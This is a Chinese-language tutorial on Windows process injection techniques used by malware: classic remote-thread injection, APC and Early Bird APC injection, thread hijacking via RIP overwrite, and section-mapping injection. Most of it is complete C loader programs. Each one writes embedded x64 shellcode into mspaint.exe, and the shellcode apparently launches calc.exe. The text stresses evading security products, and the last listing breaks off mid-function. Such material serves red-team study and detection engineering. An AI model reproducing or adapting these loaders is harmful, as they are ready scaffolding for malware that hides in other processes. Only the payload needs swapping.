# 代码注入与进程操纵

代码注入是一项恶意软件的常见技术，将恶意代码，如 shellcode，乃至 PE 文件，输入到目标进程，实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。

代码注入的方法有很多，有着各自的优缺点，以及所需的 API 组合，我们接下来一起看看一些常见和先进的技术。

### **代码注入**

#### **经典进程注入**

首先我们要说的是经典的进程注入。步骤有以下这些：

根据我们需要，通过 PID 或者进程名来指定要注入的进程，我们需要用到 **CreateToolhelp32Snapshot** 函数创建进程列表的快照。

```c
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

配合 **Process32First** 与 **Process32Next** 逐个进程枚举，以找到进程名匹配的并返回 PID。

```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);
```

通过 **OpenProcess** 获得指定进程的句柄，用 **VirtualAllocEx** 为远程进程分配空间。

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

接着，使用 **WriteProcessMemory** 为分配的空间写入 shellcode。

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

之后，使用 **CreateRemoteThread** 函数创建远程的线程。

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

代码如下：

```c
#include "Windows.h"
#include <stdio.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    HANDLE processHandle;
    HANDLE remoteThread;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    while (TRUE) {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
        if (!Process32Next(snapshot, &processEntry)) {
            if (GetLastError() != ERROR_NO_MORE_FILES) {
                printf("Process32Next failed. Error: %lu\n", GetLastError());
            }
            break;
        }
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (processHandle == NULL) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }

    SIZE_T bytesWritten;
    if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), &bytesWritten)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL) {
        printf("CreateRemoteThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Injection successful.\n");
    return 0;
}

```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sK68m8otmkvnMOq2-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sK68m8otmkvnMOq2-image.png)

#### **APC 队列注入**

异步过程调用 (APC) 是 Windows 操作系统提供的一种机制，允许程序异步执行任务，从而促进程序内的并发操作。 它们在特定线程的上下文中作为**内核模式例程**执行，从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。

进程中的每个线程都有自己的 APC 队列，其中可以存储 APC，等待执行。应用程序可以利用 **QueueUserAPC** 函数将 APC 排队到特定线程，需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。

```c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
```

然而，并非所有线程都能够立即执行排队的 APC。 只有处于**可警报状态**(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时，它会被添加到可警报线程队列中，使其有资格运行 APC。

APC 注入是一种利用此机制的进程注入技术，它涉及对 APC 进行排队，以便在另一个线程的上下文中异步执行载荷。为了实现这一点，注入的 shellcode 的地址被传递给 QueueUserAPC 函数，目的是当线程进入可警报状态时执行它，例如当它处于**睡眠模式**或**等待事件**时(如使用 SleepEx)。

使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态，这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制，APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。

知道相关的背景知识后，我们来看一下 APC 注入所需的步骤。

1. 给定进程名，返回第一个找到的进程的 PID，使用的是 CreateToolhelp32Snapshot，Process32First 以及 Process32Next 函数。
2. 使用 OpenProcess 根据 PID 获得目标进程的句柄，调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
3. 让 APC 函数指向分配的空间(之后写入shellcode)，使用 WriteProcessMemory 向分配的空间写入 shellcode。
4. 使用 Thread32First 逐个枚举进程里的线程，对于每个线程，使用 **OpenThread** 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
5. 当目标进程中的线程被调度时，我们的 shellcode 就会被执行

```c
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#include <stdlib.h> 

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    DWORD threadIds[1024];
    int threadCount = 0;
    SIZE_T shellSize = sizeof(shellcode);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0 && Process32Next(snapshot, &processEntry));
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0) {
            printf("Failed to find explorer.exe.\n");
            return 1;
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!victimProcess) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellAddress) {
        printf("Failed to allocate memory in target process. Error: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("Failed to write shellcode to target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                if (threadCount < 1024) {
                    threadIds[threadCount++] = threadEntry.th32ThreadID;
                }
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (int i = 0; i < threadCount; i++) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadIds[i]);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(2000); 
    }

    return 0;
}
```

在等待一小段时间之后，shellcode 便被执行了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Mhu6P7P9kGZPai12-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Mhu6P7P9kGZPai12-image.png)

#### **早鸟 APC 队列注入**

APC 进程注入需要**挂起**或**可警报**线程才能成功执行 shellcode。但是，很难遇到处于这些状态的线程，尤其是在正常用户权限下运行的线程。解决方案的话，是使用 **CreateProcessA** 创建一个**挂起**的进程，并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为**早鸟 APC 队列注入**。与常规 APC 队列注入技术相比，该技术的主要优点之一是，在早鸟技术中，恶意行为发生在进程初始化阶段的早期，降低了被安全产品检测的可能性。

早鸟 APC 队列注入的步骤如下：

1. 创建一个挂起的进程，通过调用 CreateProcessA 函数并指定进程的状态为 **CREATE\_SUSPENDED**
2. 使用 VirtualAllocEx 为该进程分配空间
3. 使 APC 例程指向分配的内存
4. 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
5. 调用 QueueUserAPC 函数将 APC 排队到主线程
6. 调用 **ResumeThread** 继续线程的运行，shellcode 得以执行

```c
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    SIZE_T shellSize = sizeof(shellcode);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed with error %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL) {
        printf("VirtualAllocEx failed with error %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("WriteProcessMemory failed with error %lu\n", GetLastError());
        return 1;
    }

    if (QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL) == 0) {
        printf("QueueUserAPC failed with error %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(threadHandle) == (DWORD)-1) {
        printf("ResumeThread failed with error %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    CloseHandle(threadHandle);
    CloseHandle(victimProcess);

    return 0;
}

```

这样，我们便成功执行了 shellcode：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/k9UVVm4KJ2mqKale-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/k9UVVm4KJ2mqKale-image.png)

#### **线程劫持**

进程线程劫持是一种不创建新的线程便能执行 shellcode 的代码注入技术，通过挂起线程并更新 **RIP** 的指向实现。这样，当线程继续执行时，指令执行流程便跳转到了 shellcode 的开头。

实现线程劫持，有如下的步骤：

1. 指定 PID 或者进程名，并用 OpenProcess 获得目标进程的句柄
2. 使用 VirtualAllocEx 为目标进程分配空间用于存储 shellcode
3. 使用 WriteProcessMemory 将 shellcode 写入分配空间内
4. 指定线程 ID，并获得其句柄。这里，我们通过 CreateToolhelp32Snapshot，Thread32First，Thread32Next 等函数获得第一个找到的线程
5. 通过 OpenThread 获得对该线程的句柄，并调用 SuspendThread 函数挂起线程
6. 通过 **GetThreadContext** 获得上下文结构体，修改 **RIP** 地址使其指向 shellcode
7. 使用 **SetThreadContext** 更改上下文结构体，并通过 ResumeThread 继续线程的执行

除了之前我们提到过以及与之相似的 API，我们来聊一聊线程的上下文。GetThreadContext 与 SetThreadConext 分别用于获得与提交线程的上下文。线程上下文包含了线程继续执行所需的各种信息。

```c
BOOL GetThreadContext(
  [in]      HANDLE    hThread,
  [in, out] LPCONTEXT lpContext
);

BOOL SetThreadContext(
  [in] HANDLE        hThread,
  [in] const CONTEXT *lpContext
);
```

**上下文结构体** CONTEXT 包含了处理器特定的寄存器数据。系统使用上下文结构体来执行各种内部的操作：

```c
typedef struct _CONTEXT {
  DWORD64 P1Home;
  DWORD64 P2Home;
  DWORD64 P3Home;
  DWORD64 P4Home;
  DWORD64 P5Home;
  DWORD64 P6Home;
  DWORD   ContextFlags;
  DWORD   MxCsr;
  WORD    SegCs;
  WORD    SegDs;
  WORD    SegEs;
  WORD    SegFs;
  WORD    SegGs;
  WORD    SegSs;
  DWORD   EFlags;
  DWORD64 Dr0;
  DWORD64 Dr1;
  DWORD64 Dr2;
  DWORD64 Dr3;
  DWORD64 Dr6;
  DWORD64 Dr7;
  DWORD64 Rax;
  DWORD64 Rcx;
  DWORD64 Rdx;
  DWORD64 Rbx;
  DWORD64 Rsp;
  DWORD64 Rbp;
  DWORD64 Rsi;
  DWORD64 Rdi;
  DWORD64 R8;
  DWORD64 R9;
  DWORD64 R10;
  DWORD64 R11;
  DWORD64 R12;
  DWORD64 R13;
  DWORD64 R14;
  DWORD64 R15;
  DWORD64 Rip;
  union {
    XMM_SAVE_AREA32 FltSave;
    NEON128         Q[16];
    ULONGLONG       D[32];
    struct {
      M128A Header[2];
      M128A Legacy[8];
      M128A Xmm0;
      M128A Xmm1;
      M128A Xmm2;
      M128A Xmm3;
      M128A Xmm4;
      M128A Xmm5;
      M128A Xmm6;
      M128A Xmm7;
      M128A Xmm8;
      M128A Xmm9;
      M128A Xmm10;
      M128A Xmm11;
      M128A Xmm12;
      M128A Xmm13;
      M128A Xmm14;
      M128A Xmm15;
    } DUMMYSTRUCTNAME;
    DWORD           S[32];
  } DUMMYUNIONNAME;
  M128A   VectorRegister[26];
  DWORD64 VectorControl;
  DWORD64 DebugControl;
  DWORD64 LastBranchToRip;
  DWORD64 LastBranchFromRip;
  DWORD64 LastExceptionToRip;
  DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
```

有了这些理解，那么可以构造出如下代码：

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE targetProcessHandle;
    PVOID remoteBuffer;
    HANDLE threadHijacked = NULL;
    HANDLE snapshot;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1; 
    }
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    do {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
    } while (Process32Next(snapshot, &processEntry));
    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }
    targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!targetProcessHandle) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }
    remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!Thread32First(snapshot, &threadEntry)) {
        printf("Thread32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL threadFound = FALSE;
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            if (threadHijacked != NULL) {
                threadFound = TRUE;
                break;
            }
        }
    } while (Thread32Next(snapshot, &threadEntry));
    if (!threadFound) {
        printf("Failed to find or open any thread in target process.\n");
        return 1;
    }
    if (SuspendThread(threadHijacked) == (DWORD)-1) {
        printf("SuspendThread failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!GetThreadContext(threadHijacked, &context)) {
        printf("GetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    context.Rip = (DWORD_PTR)remoteBuffer;
    if (!SetThreadContext(threadHijacked, &context)) {
        printf("SetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (ResumeThread(threadHijacked) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injection and thread hijack successful.\n");
    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lTCsZCxKdjA6wB28-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lTCsZCxKdjA6wB28-image.png)

#### **NtCreateSection 与 NtMapViewOfSection 代码注入**

使用 **NtCreateSection** 与 **NtMapViewOfSection** 也可以实现进程注入，这里面用到了**内存节对象**(section object)与**视图**(view) 的概念。节对象表示**可以被共享的内存节**，一个进程可以使用节对象与其他进程共享它的部分内存空间。节对象还提供了进程将文件映射到其内存空间的机制。

每个内存节有着一个或多个对应的视图，节**的视图**是对**进程可见**的节的一部分。为节创建视图被称为映射节的视图。每个对节的内容进行操作的进程都有着自己的视图，一个进程可以有着多个视图(对相同或不同的节)。

综上，也就是说，如果要使进程能对节进行读写操作，该进程需要为节映射一个视图。多个进程可以通过映射的视图对节进行读写。

其中，我们可以使用 NTAPI NtCreateSection 来创建一个节：

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

NtMapViewOfSection 用于映射节的指定部分至进程内存中。因为是 NTAPI，所以微软并没有对该 API 的官方文档。

```c
NtMapViewOfSection(
    _In_ HANDLE SectionHandle,
    _In_ HANDLE ProcessHandle,
    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _In_ SIZE_T CommitSize,
    _Inout_opt_ PLARGE_INTEGER SectionOffset,
    _Inout_ PSIZE_T ViewSize,
    _In_ SECTION_INHERIT InheritDisposition,
    _In_ ULONG AllocationType,
    _In_ ULONG Win32Protect
    );
```

RtlCreateUserThread 用于创建远程进程的线程，也是 NTAPI：

```c
RtlCreateUserThread(
  IN HANDLE               ProcessHandle,
  IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
  IN BOOLEAN              CreateSuspended,
  IN ULONG                StackZeroBits,
  IN OUT PULONG           StackReserved,
  IN OUT PULONG           StackCommit,
  IN PVOID                StartAddress,
  IN PVOID                StartParameter OPTIONAL,
  OUT PHANDLE             ThreadHandle,
  OUT PCLIENT_ID          ClientID 
  );
```

了解这些概念之后，我们来了解一下该注入方式的步骤：

1. 通过 **NtCreateSection** 创建 **RWX** 权限的节
2. 通过 **NtMapViewOfSection** 映射节至本地进程，赋予 **RW** 权限
3. 通过 **NtMapViewOfSection** 映射节至目标进程，赋予 **RX** 权限
4. 通过 memcpy 或类似函数将 shellcode 填入节，这样目标进程映射的视图里也是盛放着 shellcode
5. 使用 **RtlCreateUserThread** 为远程进程创建线程，指向映射的视图触发 shellcode 执行

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using NtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using NtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using RtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main() {
    NtCreateSection pNtCreateSection = (NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
    NtMapViewOfSection pNtMapViewOfSection = (NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
    RtlCreateUserThread pRtlCreateUserThread = (RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");

    if (!pNtCreateSection || !pNtMapViewOfSection || !pRtlCreateUserThread) {
        printf("Failed to retrieve function addresses.\n");
        return 1;
    }

    SIZE_T size = 4096;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    if (Process32First(snapshot, &processEntry)) {
        do {
            if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
                processFound = TRUE;
                break;
            }
        } while (Process32Next(snapshot, &processEntry));
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    NTSTATUS status;
    status = pNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    if (status != 0) {
        printf("NtCreateSection failed. Status: 0x%x\n", status);
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
    if (status != 0) {
